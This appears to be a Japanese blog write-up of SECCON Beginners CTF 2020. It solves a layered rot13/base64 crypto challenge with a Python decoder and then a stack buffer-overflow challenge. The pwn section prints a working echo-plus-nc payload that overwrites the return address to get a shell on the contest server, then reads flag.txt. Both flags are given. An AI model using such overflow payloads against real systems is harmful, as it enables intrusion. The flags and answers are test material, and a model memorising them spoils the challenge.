SECCON Beginners CTF 2020 WriteUp
概要
SECCON Beginners CTF 2020のWriteUpです。
解けた問題
【Crypto】R&B
添付ファイルであるr_and_b.zipを展開するとencoded_flagとproblem.pyが手に入る。
encoded_flag
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
problem.py
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
problem.pyを見ると、どうやらFORMATから1文字取り出して「R」なら先頭にRをつけ足してそのあとにフラグをrot13でエンコードしたものを付加し、「B」なら先頭にBをつけ足してそのあとにフラグをbase64でエンコードしたものを付加している。
よって、solverはこのプログラムの逆(flagの先頭を見て「R」なら以下をrot13でデコード、「B」なら以下をbase64でデコードするをctf4b・・・が出るまで繰り返す)を書けばいい。
ということで以下solver。
solver.py
import base64 import codecs flag = b'BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==' while True: if flag[:1] == b"B": flag = base64.b64decode(flag[1:]) elif flag[:1] == b"R": flag = codecs.encode(flag[1:].decode(),'rot13').encode() elif flag[:1] == b"c": break print(flag.decode())
flag
ctf4b{rot_base_rot_base_rot_base_base}
解けなくてあきらめた問題
【Pwn】Beginner's Stack
サーバへの接続情報
nc bs.quals.beginners.seccon.jp 9001
添付ファイルを展開すると、challという名前の実行ファイルが手に入る。
上記のサーバに接続すると以下の画像のようになる。
ここでInputに適当な文字を入力すると以下のようになる。
どうやらスタックの中身を任意のものに変えられるようだ。
これを利用すればバッファオーバーフローでリターンアドレスが書き換えられそうだ。
アクセスしたときに表示される内容からリターンアドレスをwin関数( 0x400861)に書き換えれば良さそうだとわかる。
シェルから以下の入力を試してみる。
$ echo -e '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x61\x08\x40\x00\x00\x00\x00\x00' | nc bs.quals.beginners.seccon.jp 9001
すると以下のようなレスポンスが来る。
Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
どうやらRSPの位置が違うらしく、うまく動かない。
自分はこれ以上わからなかった。
以下、終了後writeupを見たり、チームメイトと模索して出した回答である。
シェルから以下のような入力をする。
$ (echo -e '\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x10\x62\x08\x40\x00\x00\x00\x00\x00';cat) | nc bs.quals.beginners.seccon.jp 9001
ポイントとしてはechoを丸かっこでくくり、echoの最後に「;cat」をつける(シェルを剥奪するため)、またリターンアドレスを 0x400862にすること(RSPのエラー防ぐため)である。
そうすると以下のようになる。
この状態ですでにシェルが剥奪できているのでlsをしてみる。
このディレクトリの中にflag.txtがあるのでcatで表示してみる。
flag
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}
参考
感想
一言で言えば「最近全然CTFをやってなかった初心者がいきなり参加して撃沈した」という感じです。
これを機に常設のCTFや他のいろんなCTFにもっと参加しようと思いました。
あと、ほかの人のWriteUp等を見ると自分は思いつかなかった着眼点から問題を解いていたので良い勉強になりました(まさか処理に掛かる時間が答えに直結するとは思わなかったし(【Web】Spy)、まさかCyberChefだけで解ける問題があったとは...(【Recon】emoemoencode))。
参考 szarny.hatenablog.com qiita.com
ちなみに自分が所属していたチームは418位でした。まぁ半分以上チームメートのとった点数ですが(今回はほとんどチームに貢献できなかった...)